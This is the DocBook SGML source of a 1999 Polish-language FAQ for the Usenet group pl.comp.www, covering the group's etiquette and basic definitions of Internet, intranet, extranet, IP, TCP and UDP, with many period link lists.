<!DOCTYPE Book PUBLIC "-//Davenport//DTD DocBook V3.0//EN" >
<BOOK ID="INDEX" LANG="pl">
<BOOKINFO ID="BOOKINFO">
<TITLE>pl.comp.www FAQ</TITLE>
<TITLEABBREV></TITLEABBREV>
<EDITOR>
<FIRSTNAME>Ziemek</FIRSTNAME>
<SURNAME>Borowski</SURNAME>
<AFFILIATION>
<ADDRESS FORMAT="LINESPECIFIC"><EMAIL>ziembor@FAQ-Bot.ZiemBor.Waw.PL</EMAIL>
<OTHERADDR>http://FAQ-Bot.ZiemBor.Waw.pl/zmb/</OTHERADDR></ADDRESS>
</AFFILIATION>
</EDITOR>
<ISSUENUM>1.0.?.</ISSUENUM>
<DATE ID="DATE">Wtorek, 3 sierpnia 1999 roku</DATE>
<ABSTRACT>
<PARA>,,WWW w Polsce i po polsku'' --- ,,przegląd pytań pospolitych'',
lub takich które powinny paść a nie padły ;-) w grupie pl.comp.www z
uwzględnieniem zagadnień publikacji elektronicznych wykraczających
poza pajęczynę.</PARA>
</ABSTRACT>
<KEYWORDSET>
<KEYWORD>WWW, 
      </KEYWORD>
<KEYWORD>HTML, 
      </KEYWORD>
<KEYWORD>SGML, 
      </KEYWORD>
<KEYWORD>DHTML, 
      </KEYWORD>
<KEYWORD>on-line publishing
      </KEYWORD>
</KEYWORDSET>
</BOOKINFO>
<TOC>
</TOC>
<PREFACE ID="WSTEP">
<TITLE>Wstęp i deklaracje</TITLE>
<PARA>Jeśli nie znalazłeś tu odpowiedzi na swoje pytanie przepraszam... I
mam prośbę: jak znajdziesz, prześlij uzupełnienie do odpowiedzi na
istniejące pytanie, bądź
<ULINK URL="mailto:ziembor@FAQ-Bot.ZiemBor.Waw.PL" ROLE="mailto">napisz</ULINK>
(wraz z odpowiedzią) nowe.</PARA>
<PARA></PARA>
<SECT1 ID="LICENCJA">
<TITLE>Licencja</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA>Dokument ten tworzony jest na zasadach ustalonych przez
<ULINK URL="http://www.linux.org.pl/linux/licencja-gnu.shtml" ROLE="htmlurl">Powszechną Licencję Publiczną GNU</ULINK>
w polskim tłumaczeniu.</PARA>
<HIGHLIGHTS>
<PARA>pl.comp.www FAQ</PARA>
</HIGHLIGHTS>
<PARA>Copyright (C) 1996, 1997, 1998, 1999 Ziemek M. Borowski
<ULINK URL="mailto:ziembor@FAQ-Bot.ZiemBor.Waw.PL" ROLE="mailto">ziembor@FAQ-Bot.ZiemBor.Waw.PL</ULINK>
<ULINK URL="http://FAQ-Bot.ZiemBor.Waw.PL/zmb/" ROLE="url"><FILENAME MOREINFO="NONE">http://FAQ-Bot.ZiemBor.Waw.PL/zmb/</FILENAME></ULINK></PARA>
<PARA>Niniejszy tekst jest oprogramowaniem wolno-dostępnym; możesz go
rozprowadzać dalej i/lub modyfikować na warunkach Powszechnej Licencji
Publicznej GNU, wydanej przez Fundację Wolno-dostępnego Oprogramowania
--- według drugiej wersji tej Licencji.</PARA>
<PARA>Niniejszy program rozpowszechniany jest z nadzieją, iż będzie on
użyteczny --- jednak BEZ JAKIEJKOLWIEK GWARANCJI, nawet domyślnej
gwarancji PRZYDATNOŚCI HANDLOWEJ albo PRZYDATNOŚCI DO OKREŚLONYCH
ZASTOSOWAŃ. W celu uzyskania bliższych informacji ---
<ULINK URL="http://www.linux.org.pl/linux/licencja-gnu.shtml" ROLE="html">Powszechna Licencja Publiczna GNU.</ULINK>
Z pewnością wraz z
niniejszym programem otrzymałeś też egzemplarz Powszechnej Licencji
Publicznej GNU; jeśli nie --- napisz do Free Software Foundation,
Inc., 675 Mass Ave, Cambridge, MA 02139, USA.</PARA>
</LISTITEM>
</ITEMIZEDLIST>
Licencja w polskiej wersji językowej znajduje się pod
adresem:
<ULINK URL="http://www.linux.org.pl/linux/licencja-gnu.shtml" ROLE="url"><FILENAME MOREINFO="NONE">http://www.linux.org.pl/linux/licencja-gnu.shtml</FILENAME></ULINK></PARA>
</SECT1>
<SECT1 ID="DOSTEP">
<TITLE>Dostępność</TITLE>
<PARA>Dokument ten jest osiągalny za pomocą następujących URLi:
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://FAQ-Bot.ZiemBor.Waw.PL/pl/comp/www/faq/" ROLE="htmlurl">w wersji ,,do przeglądania''</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://FAQ-Bot.ZiemBor.Waw.PL/pl/comp/www/faq.sgml" ROLE="htmlurl">źródła (w DocBook 3.0.) </ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</SECT1>
<SECT1 ID="INNE">
<TITLE>Inne źródła</TITLE>
<PARA>Całe FAQ naszpikowane jest odniesieniami do inny źródeł. Chciałbym
jednak wyróżnić kilka z nich:
<ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.w3.org/" ROLE="htmlurl">The World Wide Web Consortium</ULINK>
<EMPHASIS>Leading the Web to its Full Potential...</EMPHASIS>
--- prawdziwa kopalnia specyfikacji,
komentarzy i opinii na temat technologii pajęczyny. Początkującym (i
autorom wszelkich kursów HTMLa ;-) polecam zwłaszcza
<ULINK URL="http://www.w3.org/MarkUp/Guide" ROLE="html">``Raggett's 10 minute Guide to HTML''</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://webreview.com/" ROLE="htmlurl">WebReview.com</ULINK>
--- będący zbiorem bardzo ciekawych artykułów na temat
praktycznych zastosowań Pajęczyny</PARA>
</LISTITEM>
<LISTITEM>
<PARA>sieciowy słownik terminologii komputerowej
<ULINK URL="http://www.whatis.com/" ROLE="htmlurl">WhatIs</ULINK>
--- jeszcze nie spełniający wszystkich moich oczekiwań, ale godny uwagi.</PARA>
</LISTITEM>
<LISTITEM>
<PARA>...</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</SECT1>
</PREFACE>
<CHAPTER ID="ZASADY">
<TITLE>Zasady obowiązujące na pl.comp.www</TITLE>
<PARA>_</PARA>
<SECT1 ID="ZASADY-ARCHIWUM">
<TITLE>Czy ta grupa ma swoje archiwum?</TITLE>
<PARA>Nie... (ewentualnie możesz szukać
<ULINK URL="http://www.DejaNews.com/" ROLE="htmlurl">w DejaNews</ULINK>
)
Ale trzeba uważać: jest tam
<PROGRAMLISTING FORMAT="LINESPECIFIC"><SGMLTAG ID="EXPIRES">&lt;META HTTP-EQUIV Content="Expires: Sun Jun 29 13:36:41 MET DST 1961"&gt;

</SGMLTAG></PROGRAMLISTING>
i
blokada dla robotów (więc nie można ściągnąć całego archiwum ,,do
domu'').</PARA>
</SECT1>
<SECT1 ID="LISTSERV">
<TITLE>Czy mogę zaprenumerować tę grupę tak jak normalną listę dyskusyjną?</TITLE>
<PARA>Nie i bardzo dobrze... Sprzężenie z listą to tylko niepotrzebne
kłopoty z polskimi literkami oraz głupie pytania:
<EMPHASIS>jak się wypisać?</EMPHASIS>
;-)</PARA>
<PARA>Można ewentualnie skorzystać z
<ULINK URL="http://www.newsgate.gliwice.pl/" ROLE="htmlurl">bramki news-mail.</ULINK></PARA>
</SECT1>
<SECT1 ID="PYTANIA">
<TITLE>W jaki sposób zadawać pytania, aby uzyskać odpowiedź?</TITLE>
<PARA>Daleki jestem od odsądzania od czci wszystkich, którzy zadają pytania
nie konkretne, bądź takie na które odpowiedź znajduje się na drugiej
stronie manuala, podręcznika bądź FAQ. Ale proszę...</PARA>
<SECT2 ID="ZASADY-ZANIM">
<TITLE>Zanim zadasz pytanie...</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA>zastanów się, czy to co cię trapi jest rzeczywiście problemem. Być
może spotkałeś się już z podobną sytuacją i tylko coś Ci na chwilę
rozum zaćmiło :-)</PARA>
</LISTITEM>
<LISTITEM>
<PARA>przejrzyj dostępną lokalnie dokumentację... (pliki
<FILENAME MOREINFO="NONE">*.htm,</FILENAME>
<FILENAME MOREINFO="NONE">*.html,</FILENAME>
<FILENAME MOREINFO="NONE">*.hlp,</FILENAME>
i
<FILENAME MOREINFO="NONE">man *</FILENAME>
od posiadanych programów, zawartość
podkatalogów
<FILENAME MOREINFO="NONE">/usr/doc</FILENAME>
na
Unixach). Po to się ją tworzy.</PARA>
</LISTITEM>
<LISTITEM>
<PARA>poszukaj FAQ (czyli zbioru najczęściej zadawanych pytań wraz z
odpowiedziami) związanego z nurtującymi cię problemami... znajdziesz
je pod adresami
<ULINK URL="http://SunSite.ICM.edu.pl/pub/usenet/" ROLE="url"><FILENAME MOREINFO="NONE">http://SunSite.ICM.edu.pl/pub/usenet/</FILENAME></ULINK>
lub
<ULINK URL="http://www.man.torun.pl/%7Enews/archive/pl.answers/" ROLE="url"><FILENAME MOREINFO="NONE">http://http://www.man.torun.pl/%7Enews/archive/pl.answers/</FILENAME></ULINK>
oraz
<ULINK URL="http://www.faqs.org/faqs/" ROLE="htmlurl">The Internet FAQ Consortium</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Sprawdź archiwa:
<ULINK URL="http://www.DejaNews.com/home_ps.shtml" ROLE="url">http://www.DejaNews.com/home_ps.shtml</ULINK>
i tam
wpisując w filtrze grupę:
<EMPHASIS>pl.comp.www</EMPHASIS></PARA>
</LISTITEM>
<LISTITEM>
<PARA>spytaj lokalnego administratora... chyba, że ma Cię już dość, bądź sam
nim jesteś ;-)</PARA>
</LISTITEM>
<LISTITEM>
<PARA>poszukaj przy pomocy katalogu
<LINK LINKEND="NAWIGACJA-KATALOGI">tematycznego</LINK>
bądź
<LINK LINKEND="NAWIGACJA-PRZESZUKIWARKI">przeszukiwarki</LINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</SECT2>
<SECT2 ID="ZASADY-PYTAJ">
<TITLE>Gdy nie masz innego wyjścia to pytaj.</TITLE>
<PARA>Ale pamiętaj, że zadawanie pytań też jest sztuką. Tutaj, w grupie
<ULINK URL="news:pl.comp.www" ROLE="news"><FILENAME MOREINFO="NONE">pl.comp.www</FILENAME></ULINK>
ograniczymy się do wskazówek raczej
technicznych.
<ITEMIZEDLIST>
<LISTITEM>
<PARA>napisz dokładnie: jaki masz problem... (np.
<EMPHASIS>jakiego systemu operacyjnego używasz</EMPHASIS>
i z
<EMPHASIS>jakim programem (i jaką jego wersją) masz kłopoty).</EMPHASIS>
I nie myśl, że istnieją jedynie M$ Windbloze (Lufciki ;-).</PARA>
</LISTITEM>
<LISTITEM>
<PARA>jeśli szukasz jakiegoś narzędzia, napisz jakie wymagania ma spełniać i
co najważniejsze w jakim systemie operacyjnym ma działać...</PARA>
</LISTITEM>
<LISTITEM>
<PARA>nie zaszkodzi podać gdzie szukałeś, najwyżej inni się czegoś nauczą.</PARA>
</LISTITEM>
<LISTITEM>
<PARA>pomyśl, czy tematyka Twojego pytania jest dostosowana do tematyki
grupy Np. nie pisz o jakimś zasobie nie związanym z TECHNOLOGIĄ World
Wide Web tylko dlatego, że znajduje się on w Pajęczynie --- od tego
typu ogłoszeń są inne grupy np.
<ULINK URL="news:pl.internet.nowosci" ROLE="news"><FILENAME MOREINFO="NONE">pl.internet.nowosci</FILENAME></ULINK>
(moderowana),
<ULINK URL="news:pl.comp.www.nowe-strony" ROLE="news"><FILENAME MOREINFO="NONE">pl.comp.www.nowe-strony</FILENAME></ULINK>
(patrz
<ULINK URL="http://winter.info.pl/2f66.htm" ROLE="url">pl.comp.www.nowe-strony FAQ),</ULINK>
inna grupa bliżej związana z tematyką witryny, zasobu).</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<PARA>Poza tym jeśli naprawdę uważasz, że masz coś ciekawego do powiedzenia
to ,,zgłoś się'' w istniejących katalogach sieciowych i usługach
wyszukiwawczych... Naprawdę... ogłaszanie się na grupach dyskusyjnych
niewiele Ci da...
<EMPHASIS>I pamiętaj: to, że ktoś Ci odpowie to tylko i wyłącznie jego dobra wola --- nie masz prawa wymagać więcej.</EMPHASIS>
I, proszę, nie obrażaj się, jeśli ktoś Ci odpisze np.
<ULINK URL="http://faq-bot.usenet.pl/" ROLE="html">RTFM</ULINK>
podając jakiegoś
<LINK LINKEND="URL">URLa)</LINK>
bądź tytuł (zwłaszcza jeśli z ISBNem ;-).</PARA>
</SECT2>
</SECT1>
<SECT1 ID="GNIEW">
<TITLE>Co wywołuje powszechny (i uzasadniony) gniew i irytację?</TITLE>
<PARA>Wiele rzeczy.... Na przykład:</PARA>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA>wysyłanie
<ULINK URL="http://spam.abuse.net/spam/" ROLE="htmlurl">spamu.</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>wysyłanie plików binarnych (zwłaszcza wielkich i to takich które można
by umieścić gdzieś w pajęczynie, bądź anonFTP i podać URL)</PARA>
</LISTITEM>
<LISTITEM>
<PARA>pytanie po raz enty jak zrobić coś co jest opisane w każdym
<LINK LINKEND="HTML-KURSY">kursie HTML</LINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>pisanie, że
<EMPHASIS>obowiązującym</EMPHASIS>
standardem kodowania
polskich liter powinno być ANSI CP-1250 (bo ,,tak jest prościej'', i
,,dla ludzi'') --- choć uczciwie mówiąc, w świetle faktu rejestracji
charsetu
<COMMAND MOREINFO="NONE">windows-1250</COMMAND>
w IANA jest
to może i poprawne (choć nie zalecane)...</PARA>
</LISTITEM>
<LISTITEM>
<PARA>skarżenie się na jakość darmowych usług i pytania ich dotyczące (od
tego jest obsługa tych usług, ew.
<ULINK URL="news:pl.listserv.polip" ROLE="news">grupa
<FILENAME MOREINFO="NONE">pl.listserv.polip</FILENAME></ULINK>
nie zaś grupa
<FILENAME MOREINFO="NONE">pl.comp.www</FILENAME>
poświęcona technicznym aspektom technologii informacyjnych).</PARA>
</LISTITEM>
<LISTITEM>
<PARA>ciągle prośby
<EMPHASIS>oceńcie moją stronę</EMPHASIS>
będące
zakamuflowaną reklamą.</PARA>
</LISTITEM>
</ITEMIZEDLIST>
<EMPHASIS>I m.in. dlatego piszę to FAQ, aby uniknąć powtarzania zawsze tych samych, 
nie posuwających do przodu dyskusji, pytań.</EMPHASIS></PARA>
</SECT1>
<SECT1 ID="GDZIE-INDZIEJ">
<TITLE>Jakie pytania związane z WWW należy zadawać raczej w innych grupach?</TITLE>
<PARA>Oj, wiele...
<ITEMIZEDLIST>
<LISTITEM>
<PARA>o metody tworzenia grafik jest
<ULINK URL="news:pl.comp.grafika" ROLE="news">grupa
<FILENAME MOREINFO="NONE">pl.comp.grafika</FILENAME></ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>o sposób ,,łączenia z Internetem'' --- jest
<ULINK URL="news:pl.comp.networking" ROLE="news">grupa
<FILENAME MOREINFO="NONE">pl.comp.networking</FILENAME>
i grupy poświęcone
poszczególnym systemom</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>o problemy związane z MUA (programami pocztowymi) --- od tego jest
<ULINK URL="news:pl.comp.mail" ROLE="news"><FILENAME MOREINFO="NONE">pl.comp.mail</FILENAME></ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>o problemy związane z czytnikami grup dyskusyjnych --- od tego jest
<ULINK URL="news:pl.news.czytniki" ROLE="news"><FILENAME MOREINFO="NONE">pl.news.czytniki</FILENAME></ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>o działanie/nie działanie serwerów/serwisów --- są grupy 
<ULINK URL="news:pl.listserv.polip" ROLE="news"><FILENAME MOREINFO="NONE">pl.listserv.polip</FILENAME></ULINK>
oraz
<ULINK URL="news:pl.internet.komunikaty" ROLE="news"><FILENAME MOREINFO="NONE">pl.internet.komunikaty</FILENAME>
--- koniecznie
przeczytaj jej FAQ</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</SECT1>
</CHAPTER>
<CHAPTER ID="DEFINICJE">
<TITLE>Definicje</TITLE>
<TITLEABBREV>Co to jest:</TITLEABBREV>
<PARA>_</PARA>
<SECT1 ID="INTERNET">
<TITLE>Internet</TITLE>
<PARA><ULINK URL="http://SunSite.ICM.edu.pl/pub/doc/rfc/rfc1462.txt" ROLE="rfc">W RFC 1462</ULINK>
Internet został zdefiniowany jako:
<ITEMIZEDLIST>
<LISTITEM>
<PARA>sieć sieci komputerowych oparta na protokołach IP i TCP, UDP oraz ICMP
(TCP/IP)</PARA>
</LISTITEM>
<LISTITEM>
<PARA>zasoby dostępne na komputerach połączonych z siecią (tzw. hostach)</PARA>
</LISTITEM>
<LISTITEM>
<PARA>społeczność, wspólnota (community) ludzi używających i rozwijających
tę sieć</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<PARA>Nie jest to więc, jakby niektórzy chcieli ,,taka ikonka na pulpicie''
ani też żadna z dominujących w danej chwili usług sieciowych.</PARA>
<PARA>Dla niektórych jest to potworna wizja porozumiewania się ludzi za
pośrednictwem maszyn. Dla innych jest to przedsionek
<LINK LINKEND="INFOSTRADA">infostrady</LINK>
czy ogólniej mówiąc
społeczeństwa informacyjnego.</PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><LINK LINKEND="STD-OGOLNIE">Standardy: Ogólnie</LINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.isoc.org/" ROLE="htmlurl">Internet Society</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.psi.org.pl/" ROLE="htmlurl">Polska Społeczność Internetu</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.spui.org.pl/" ROLE="htmlurl">Stowarzyszenie Polskich Użytkowników Internetu</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.internic.net/" ROLE="htmlurl">InterNIC</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.cto.us.edu.pl/eleminte/ei.html" ROLE="htmlurl">Elementarz Internetu</ULINK>
Macieja Uhliga</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.ict.pwr.wroc.pl/doc/iwpl/" ROLE="htmlurl">Podstawowe usługi Internetu</ULINK>
Tomasza Surmacza</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.agh.edu.pl/opisy.html" ROLE="htmlurl">Różne pożyteczne dokumenty</ULINK>
w/g AGH</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.gumbeers.elka.pg.gda.pl/WA/KTI/" ROLE="htmlurl">Wirtualna Akademia --- Katedra Teleinformatyki</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Wojciech Myszka
<ULINK URL="http://www.immt.pwr.wroc.pl/export_hp/tool/tool.html" ROLE="htmlurl">Narzędzia sieciowe</ULINK>
--- jeden z lepszych TECHNICZNYCH przewodników po sieci.</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.eff.org/pub/Net_info/EFF_Net_Guide/Other_versions/Polish/" ROLE="htmlurl">EFFu Przewodnik po Internecie</ULINK>
<ULINK URL="http://alicja.ci.pwr.wroc.pl/internet/" ROLE="html">(jest także wersja ,,hipertekstowa'')</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.ccs.pl/%E7mkc/internet/" ROLE="htmlurl">Geneza i
rozwój internetu</ULINK>
Marka Kuchiaka</PARA>
</LISTITEM>
<LISTITEM>
<PARA>Brad Templeton
<ULINK URL="http://www.math.uni.wroc.pl/%E7admor/netmyths.pl.html" ROLE="htmlurl">,,11 najczestszych, mylnych pogladow o sieci Internet (oraz USENET)''</ULINK>
Tłumaczenie: Adam Morawiec</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.nw.com/" ROLE="htmlurl">Network Wizards --- statystyki Internetu</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="INTRANET">
<TITLE>Intranet</TITLE>
<PARA>Jest próbą zastosowania technologii internetowych z poziomu
prezentacji i aplikacji (czyli przede wszystkim HTTP/HTML, poczty
elektronicznej i Usenet news) do zastosowań typowych dla sieci
lokalnych i firmowych. Sieci intranetowe wspomagane są przez indeksy
dokumentów i usługi wyszukiwawcze pozwalające na tworzenie firmowej
,,bazy wiedzy''. (Ma to związek koncepcją odchudzenia stacji roboczych
do wszechstronnie zorientowanego (przeglądarka, edytor, poczta) acz
odchudzonego klienta i związanym z tym pomysłem na obniżanie kosztów).
Choć z drugiej strony cały ten zgiełk wokół Inta- i
<LINK LINKEND="EXTRANET">Extranetów</LINK>
można uznać za propagandowo-marketingowy zgiełk i szukanie naiwnych.</PARA>
<PARA></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA>grupa
<ULINK URL="news:pl.comp.intranet" ROLE="news"><FILENAME MOREINFO="NONE">pl.comp.intranet</FILENAME></ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.intranetjournal.com/" ROLE="htmlurl">IntranetJournal</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://intrack.com/intranet/" ROLE="htmlurl">Intranet Reference Site</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://home.netscape.com/comprod/at_work/white_paper/intranet/" ROLE="htmlurl">Netscape: Full Service Intranet</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="EXTRANET">
<TITLE>Extranet</TITLE>
<PARA>Extranet --- to ponoć naturalne --- rozwinięcie koncepcji intranetów
--- wewnętrznych sieci zbudowanych z wykorzystaniem technik
internetowych (przede wszystkim WWW). Gdy firmy łączą intranety
połączone z własnymi systemami księgowo-finansowymi i magazynowymi w
obszarze danego łańcucha dostaw (kolejny podmiot na drodze wytwarzania
danego dobra), to powstaje extranet, wypierając ,,tradycyjnie'' obecne
na tym rynku technologie
<ULINK URL="http://www.edi.pl/" ROLE="html"><ABBREV LANG="en">EDI</ABBREV></ULINK>
<PRODUCTNAME CLASS="TRADE">Electronic Data Interchange.</PRODUCTNAME></PARA>
</SECT1>
<SECT1 ID="INFOSTRADA">
<TITLE>Infostrada</TITLE>
<PARA>Jest to jedna z marketingowych nazw utopii (programu społecznego,
ideologii) nazywanej też czasem społeczeństwem informacyjnym,
głoszącej że podstawowym towarem staje się wiedza i dostęp do niej. W
tak sformułowany program społeczny doskonale wpisuje się Internet
<LINK LINKEND="WWW">i WWW</LINK>
będąc jednym z możliwych mediów
przekazu.</PARA>
<PARA></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA>Michael Sullivan-Trainor
<EMPHASIS>Infostrada</EMPHASIS>
ReadMe,
IDGBooks, ProgramersPress: Warszawa 1995 (ISBN 83-85769-95-1)</PARA>
</LISTITEM>
<LISTITEM>
<PARA>J. Zieliński.
<ULINK URL="http://www.winter.info.pl/2e36.htm" ROLE="htmlurl">Uzależnienie od Internetu</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>K.Pistol 
<ULINK URL="http://venus.wis.pk.edu.pl/%E7danio/iadkpl.htm">Uzależnienie od Internetu </ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>J. Zieliński.
<ULINK URL="http://winter.info.pl/2dda.htm" ROLE="htmlurl">Obserwując ruch na infostradzie</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Paweł Bartuzi
<ULINK URL="http://www.igo.katowice.pl/%E7rolka/pracamgr.html" ROLE="htmlurl">FidoNet. Komputerowa sieć wymiany informacji. Studium Socjologiczne</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.ispo.cec.be/" ROLE="htmlurl">Information
Society Project Office</ULINK>
Unii Europejskiej.</PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://shum.cc.huji.ac.il/jcmc/rudybib.html" ROLE="htmlurl">Bibliography of Organizational Computer-Mediated Communication</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.iitf.doc.gov/" ROLE="htmlurl">The Information Infrastructure Task Force (USA)</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://ajax.umcs.lublin.pl/%E7dybul/reklama.htm" ROLE="htmlurl">Dybull --- Reklama w Sieci</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.supermedia.pl/iso/idm/w_liczbach.htm" ROLE="htmlurl">Internet w liczbach wg agencji reklamowej IDM</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Tomasz Goban-Klas
<ULINK URL="http://www.if.uj.edu.pl/%E7usgoban/spinf.html" ROLE="htmlurl">Społeczeństwo informacyjne. Szanse, zagrożenia, wyzwania</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA>Ziemek Borowski 
<ULINK URL="http://FAQ-bot.ZiemBor.WAW.pl/zmb/internet.html" ROLE="htmlurl">,,Ideologia społeczeństwa informacyjnego''</ULINK>
(lipiec 1996)</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="IPV4">
<TITLE>IP</TITLE>
<PARA ID="IP"><PRODUCTNAME CLASS="TRADE">IP wersja 4</PRODUCTNAME>
jest to umowną
nazwa aktualnie obowiązującego standardu IP (w przeciwieństwie do
<LINK LINKEND="IPV6">IP wersja 6).</LINK>
Definiuje on --- w
<ULINK URL="http://SunSite.icm.edu.pl/pub/doc/rfc/rfc791.txt" ROLE="rfc">RFC
791</ULINK>
--- protokół komunikacyjny zawodnego przenoszenia
połączeń. Każdy z komputerów działających w tym protokole posiada
unikalny (w ramach określonej sieci) 32 bitowy adres (podzielony na 4
oktety wyznaczające klasy adresowania). Przydziałem adresów IP w
europejskiej części internetu zajmuje się
<ULINK URL="http://www.RIPE.net/" ROLE="html">RIPE</ULINK></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA>Douglas E. Comer
<ULINK URL="http://www.wnt.com.pl/" ROLE="htmlurl">Sieci komputerowe TCP/IP. </ULINK>
ISBN 83-204-2314-7  (tomy 1-3)</PARA>
</LISTITEM>
<LISTITEM>
<PARA>W. Richard Stevens, Gary R.  Wright
<ULINK URL="http://www.rm.com.pl/tcpip1.htm" ROLE="htmlurl">Biblia TCP/IP</ULINK>
83-87216-24-0 (tomy 1-3)  </PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="IPV6">
<TITLE>IP6</TITLE>
<PARA>IP wersja 6 jest projektowaną, nową wersją protokołu IP poprawiając
jego możliwości o:
<ITEMIZEDLIST>
<LISTITEM>
<PARA>dłuższe adresy (z 32 bitów w tej chwili, do 128), (jako metoda na
wyczerpywanie się adresów IP --- bo daje to
2**128==3.40282366920938e+38 adresów zamiast dotychczasowych 4 294 967
296).</PARA>
</LISTITEM>
<LISTITEM>
<PARA>zmienny format nagłówków datagramu (bardziej elastyczny )</PARA>
</LISTITEM>
<LISTITEM>
<PARA>wsparcie dla rezerwowania zasobów</PARA>
</LISTITEM>
<LISTITEM>
<PARA>zapewnienie możliwości rozszerzania protokołu, swobodnego dodawania
kolejnych opcji bez wykonywania rewolucji.</PARA>
</LISTITEM>
<LISTITEM>
<PARA>elementy tzw. IPsec czyli wykluczenie części opcji wykorzystywanych do
ataków (np. tzw. source routing), opcje szyfrowania pakietów. itp.</PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
<FORMALPARA ROLE="seealso">
<TITLE>Patrz też:</TITLE>
<PARA><ITEMIZEDLIST>
<LISTITEM>
<PARA><ULINK URL="http://www.6bone.net/" ROLE="htmlurl">IPv6 na świecie</ULINK></PARA>
</LISTITEM>
<LISTITEM>
<PARA><ULINK URL="http://www.6bone.pl/" ROLE="htmlurl">IPv6 w Polsce</ULINK></PARA>
</LISTITEM>
</ITEMIZEDLIST></PARA>
</FORMALPARA>
</SECT1>
<SECT1 ID="TCP">
<TITLE>TCP</TITLE>
<PARA><ABBREV LANG="en">TCP</ABBREV>
---
<PRODUCTNAME CLASS="TRADE">Transmission Control Protocol</PRODUCTNAME>
--- standard Internetu
zdefiniowany w
<ULINK URL="http://SunSite.icm.edu.pl/pub/doc/rfc/rfc793.txt" ROLE="html">RFC 793</ULINK>
Działający na bazie
<LINK LINKEND="IP">IP</LINK>
protokół komunikacyjny zapewniający przesyłanie danych niezawodnymi
strumieniami: specyfikujący format danych, procedury potwierdzeń
dotarcia danych, rozróżniania poszczególnych odbiorców oraz usług
przypisanych do TCP.</PARA>
</SECT1>
<SECT1 ID="UDP">
<TITLE>UDP</TITLE>
<PARA><ABBREV LANG="en">UDP</ABBREV>
<PRODUCTNAME CLASS="TRADE">User
Datagram Protocol</PRODUCTNAME>
--- standard Internetu opisany w
<ULINK URL="http://SunSite.icm.edu.pl/pub/doc/rfc/rfc786.txt" ROLE="rfc">RFC 786</ULINK>
--- jest protokołem komunikacyjnym
zawodnego (a więc bez potwierdzeń i retransmisji zgubionych pakietów)
bezpołączeniowego dostarczania pakietów wykorzystywanym m.in. przez
<LINK LINKEND="DNS">DNS.</LINK>
lub
<PRODUCTNAME CLASS="TRADE">NFS.</PRODUCTNAME>
Jego bezpołączeniowa natura powoduje trudności z
dostarczaniem usług opartych na UDP przez wszelkiego rodzaju ściany
ognia.</PARA>
</SECT1>
